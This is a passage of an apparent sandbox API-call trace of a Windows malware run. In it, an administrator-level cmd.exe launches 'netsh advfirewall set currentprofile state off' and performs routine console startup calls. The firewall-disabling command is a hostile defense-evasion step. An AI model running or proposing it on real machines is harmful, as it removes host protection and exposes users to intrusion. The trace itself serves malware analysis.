Size=0xd6) returned 0x309cd0 [0066.649] GetProcessHeap () returned 0x2f0000 [0066.649] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309cd0) returned 0xd6 [0066.649] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0066.651] GetProcessHeap () returned 0x2f0000 [0066.651] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x309cd0 | out: hHeap=0x2f0000) returned 1 [0066.651] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef0b8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef078 | out: lpAttributeList=0x1ef0b8, lpSize=0x1ef078) returned 1 [0066.651] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef0b8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef068, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef0b8, lpPreviousValue=0x0) returned 1 [0066.651] GetStartupInfoW (in: lpStartupInfo=0x1ef1d0 | out: lpStartupInfo=0x1ef1d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x104, hStdOutput=0x110, hStdError=0x110)) [0066.651] GetProcessHeap () returned 0x2f0000 [0066.651] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x20) returned 0x304640 [0066.651] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.652] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.653] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.654] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.654] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.654] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.654] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.654] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.654] GetProcessHeap () returned 0x2f0000 [0066.654] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x304640 | out: hHeap=0x2f0000) returned 1 [0066.654] GetProcessHeap () returned 0x2f0000 [0066.654] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x12) returned 0x305ca0 [0066.654] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1ef0f0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef0a0 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0x1ef0a0*(hProcess=0x54, hThread=0x50, dwProcessId=0x8d8, dwThreadId=0x8e8)) returned 1 [0067.854] CloseHandle (hObject=0x50) returned 1 [0067.854] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.855] GetProcessHeap () returned 0x2f0000 [0067.855] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c230 | out: hHeap=0x2f0000) returned 1 [0067.855] GetEnvironmentStringsW () returned 0x30aa10* [0067.855] GetProcessHeap () returned 0x2f0000 [0067.855] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xae8) returned 0x30b500 [0067.855] FreeEnvironmentStringsW (penv=0x30aa10) returned 1 [0067.856] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77140000 [0067.856] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0067.857] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1ee9a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1ee9a8, ReturnLength=0x0) returned 0x0 [0067.857] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd3000, lpBuffer=0x1ee9e0, nSize=0x380, lpNumberOfBytesRead=0x1ee9a0 | out: lpBuffer=0x1ee9e0*, lpNumberOfBytesRead=0x1ee9a0*=0x380) returned 1 [0067.858] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x33cfb000" os_pid = "0x808" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa84" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x818 [0065.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2efa70 | out: lpSystemTimeAsFileTime=0x2efa70*(dwLowDateTime=0x697a6510, dwHighDateTime=0x1d5e0d0)) [0065.188] GetCurrentProcessId () returned 0x808 [0065.188] GetCurrentThreadId () returned 0x818 [0065.188] GetTickCount () returned 0x115a13f [0065.188] QueryPerformanceCounter (in: lpPerformanceCount=0x2efa78 | out: lpPerformanceCount=0x2efa78*=20644728200) returned 1 [0065.190] GetModuleHandleW (lpModuleName=0x0) returned 0x4a250000 [0065.191] __set_app_type (_Type=0x1) [0065.191] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a277810) returned 0x0 [0065.191] __getmainargs (in: _Argc=0x4a29a608, _Argv=0x4a29a618, _Env=0x4a29a610, _DoWildCard=0, _StartInfo=0x4a27e0f4 | out: _Argc=0x4a29a608, _Argv=0x4a29a618, _Env=0x4a29a610) returned 0 [0065.193] GetCurrentThreadId () returned 0x818 [0065.193] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x818) returned 0x3c [0065.403] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0065.403] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40 [0065.403] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.404] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.404] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2efa08 | out: phkResult=0x2efa08*=0x0) returned 0x2 [0065.404] VirtualQuery (in: lpAddress=0x2ef9f0, lpBuffer=0x2ef970, dwLength=0x30 | out: lpBuffer=0x2ef970*(BaseAddress=0x2ef000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.405] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x2ef970, dwLength=0x30 | out: lpBuffer=0x2ef970*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.405] VirtualQuery (in: lpAddress=0x1f1000, lpBuffer=0x2ef970, dwLength=0x30 | out: lpBuffer=0x2ef970*(BaseAddress=0x1f1000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.405] VirtualQuery (in: lpAddress=0x1f4000, lpBuffer=0x2ef970, dwLength=0x30 | out: lpBuffer=0x2ef970*(BaseAddress=0x1f4000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.405] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x2ef970, dwLength=0x30 | out: lpBuffer=0x2ef970*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.405] GetConsoleOutputCP () returned 0x1b5 [0065.405] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a28bfe0 | out: lpCPInfo=0x4a28bfe0) returned 1 [0065.406] SetConsoleCtrlHandler (HandlerRoutine=0x4a273184, Add=1) returned 1 [0065.406] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.406] SetConsoleMode (hConsoleHandle=0x100, dwMode=0x0) returned 0 [0065.407] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.407] GetConsoleMode (in: hConsoleHandle=0x100, lpMode=0x4a27e194 | out: lpMode=0x4a27e194) returned 0 [0065.407] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.407] GetConsoleMode (in: hConsoleHandle=0xa8, lpMode=0x4a27e198 | out: lpMode=0x4a27e198) returned 0 [0065.408] GetEnvironmentStringsW () returned 0x468a60* [0065.408] GetProcessHeap () returned 0x450000 [0065.408] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xa7c) returned 0x4694f0 [0065.408] FreeEnvironmentStringsW (penv=0x468a60) returned 1 [0065.409] GetProcessHeap () returned 0x450000 [0065.409] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x8) returned 0x4688e0 [0065.409] GetEnvironmentStringsW () returned 0x468a60* [0065.409] GetProcessHeap () returned 0x450000 [0065.409] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xa7c) returned 0x469f80 [0065.409] FreeEnvironmentStringsW (penv=0x468a60) returned 1 [0065.410] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee8c8 | out: phkResult=0x2ee8c8*=0x44) returned 0x0 [0065.410] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x0, lpData=0x2ee8e0*=0x18, lpcbData=0x2ee8c4*=0x1000) returned 0x2 [0065.410] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x4, lpData=0x2ee8e0*=0x1, lpcbData=0x2ee8c4*=0x4) returned 0x0 [0065.411] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x0, lpData=0x2ee8e0*=0x1, lpcbData=0x2ee8c4*=0x1000) returned 0x2 [0065.411] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x4, lpData=0x2ee8e0*=0x0, lpcbData=0x2ee8c4*=0x4) returned 0x0 [0065.411] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x4, lpData=0x2ee8e0*=0x40, lpcbData=0x2ee8c4*=0x4) returned 0x0 [0065.411] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x4, lpData=0x2ee8e0*=0x40, lpcbData=0x2ee8c4*=0x4) returned 0x0 [0065.411] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x0, lpData=0x2ee8e0*=0x40, lpcbData=0x2ee8c4*=0x1000) returned 0x2 [0065.411] RegCloseKey (hKey=0x44) returned 0x0 [0065.411] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee8c8 | out: phkResult=0x2ee8c8*=0x44) returned 0x0 [0065.411] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x0, lpData=0x2ee8e0*=0x40, lpcbData=0x2ee8c4*=0x1000) returned 0x2 [0065.412] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x4, lpData=0x2ee8e0*=0x1, lpcbData=0x2ee8c4*=0x4) returned 0x0 [0065.412] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x0, lpData=0x2ee8e0*=0x1, lpcbData=0x2ee8c4*=0x1000) returned 0x2 [0065.412] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x4, lpData=0x2ee8e0*=0x0, lpcbData=0x2ee8c4*=0x4) returned 0x0 [0065.412] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x4, lpData=0x2ee8e0*=0x9, lpcbData=0x2ee8c4*=0x4) returned 0x0 [0065.412] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x4, lpData=0x2ee8e0*=0x9, lpcbData=0x2ee8c4*=0x4) returned 0x0 [0065.412] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee8c0, lpData=0x2ee8e0, lpcbData=0x2ee8c4*=0x1000 | out: lpType=0x2ee8c0*=0x0, lpData=0x2ee8e0*=0x9, lpcbData=0x2ee8c4*=0x1000) returned 0x2 [0065.412] RegCloseKey (hKey=0x44) returned 0x0 [0065.413] time (in: timer=0x0 | out: timer=0x0) returned 0x5e429344 [0065.413] srand (_Seed=0x5e429344) [0065.413] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0065.413] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0065.413] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a28c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.414] GetProcessHeap () returned 0x450000 [0065.414] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x218) returned 0x46aa10 [0065.414] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x46aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0065.415] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.415] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.415] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0065.415] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0065.415] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0065.415] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0065.415] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0065.415] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0065.415] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0065.415] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0065.415] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0065.416] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0065.416] GetProcessHeap () returned 0x450000 [0065.416] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4694f0 | out: hHeap=0x450000) returned 1 [0065.416] GetEnvironmentStringsW () returned 0x468a60* [0065.416] GetProcessHeap () returned 0x450000 [0065.416] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xa94) returned 0x46ac30 [0065.416] FreeEnvironmentStringsW (penv=0x468a60) returned 1 [0065.417] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0065.417] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0065.417] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0065.417] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0065.417] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0065.417] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0065.417] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0065.417] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0065.417] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0065.417] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0065.418] GetProcessHeap () returned 0x450000 [0065.418] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x5c) returned 0x46b6d0 [0065.418] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2ef6d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2ef6d0, lpFilePart=0x2ef6b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ef6b0*="Desktop") returned 0x25 [0065.418] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0065.418] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ef3e0 | out: lpFindFileData=0x2ef3e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x46b740 [0065.419] FindClose (in: hFindFile=0x46b740 | out: hFindFile=0x46b740) returned 1 [0065.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2ef3e0 | out: lpFindFileData=0x2ef3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x46b740 [0065.419] FindClose (in: hFindFile=0x46b740 | out: hFindFile=0x46b740) returned 1 [0065.419] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0065.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2ef3e0 | out: lpFindFileData=0x2ef3e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x56d45100, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x56d45100, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x46b740 [0065.420] FindClose (in: hFindFile=0x46b740 | out: hFindFile=0x46b740) returned 1 [0065.420] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0065.420] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0065.420] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0065.420] GetProcessHeap () returned 0x450000 [0065.420] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46ac30 | out: hHeap=0x450000) returned 1 [0065.420] GetEnvironmentStringsW () returned 0x46b740* [0065.421] GetProcessHeap () returned 0x450000 [0065.421] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xae8) returned 0x46c230 [0065.421] FreeEnvironmentStringsW (penv=0x46b740) returned 1 [0065.421] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a28c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.421] GetProcessHeap () returned 0x450000 [0065.421] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46b6d0 | out: hHeap=0x450000) returned 1 [0065.421] GetProcessHeap () returned 0x450000 [0065.421] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4016) returned 0x46cd20 [0065.422] GetProcessHeap () returned 0x450000 [0065.422] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46cd20 | out: hHeap=0x450000) returned 1 [0065.422] GetConsoleOutputCP () returned 0x1b5 [0065.423] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a28bfe0 | out: lpCPInfo=0x4a28bfe0) returned 1 [0065.423] GetUserDefaultLCID () returned 0x409 [0065.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a287b50, cchData=8 | out: lpLCData=":") returned 2 [0065.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2ef7e0, cchData=128 | out: lpLCData="0") returned 2 [0065.424] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2ef7e0, cchData=128 | out: lpLCData="0") returned 2 [0065.425] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2ef7e0, cchData=128 | out: lpLCData="1") returned 2 [0065.425] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a29a740, cchData=8 | out: lpLCData="/") returned 2 [0065.425] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a29a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0065.426] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a29a460, cchData=32 | out: lpLCData="Tue") returned 4 [0065.426] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a29a420, cchData=32 | out: lpLCData="Wed") returned 4 [0065.426] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a29a3e0, cchData=32 | out: lpLCData="Thu") 